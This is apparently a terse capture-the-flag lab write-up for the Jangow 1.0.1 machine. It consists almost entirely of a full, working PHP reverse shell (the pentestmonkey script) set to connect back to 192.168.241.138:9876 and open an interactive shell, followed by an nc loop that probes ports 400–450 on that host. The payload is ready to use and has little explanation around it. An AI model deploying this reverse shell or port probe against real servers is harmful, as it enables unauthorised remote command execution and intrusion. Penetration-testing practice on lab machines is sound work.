Jangow: 1.0.1靶场渗透测试

MD5 ：B9E912D79CC304676E1A07558284B8ABSHA1：3E50B4168FA2D83AA10F05D2F66C5A7071F3C927

<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 [email protected]set_time_limit (0);$VERSION = "1.0";$ip = '192.168.241.138';$port = 9876;$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; sh -i';$daemon = 0;$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit ($string) {if (!$daemon) {print"$stringn";}}?>

for i in {400..450};dotimeout 1 nc -vz 192.168.241.138 $i && echo"$i open" >> 1.txt || echo"$i closed" >> 1.txt;done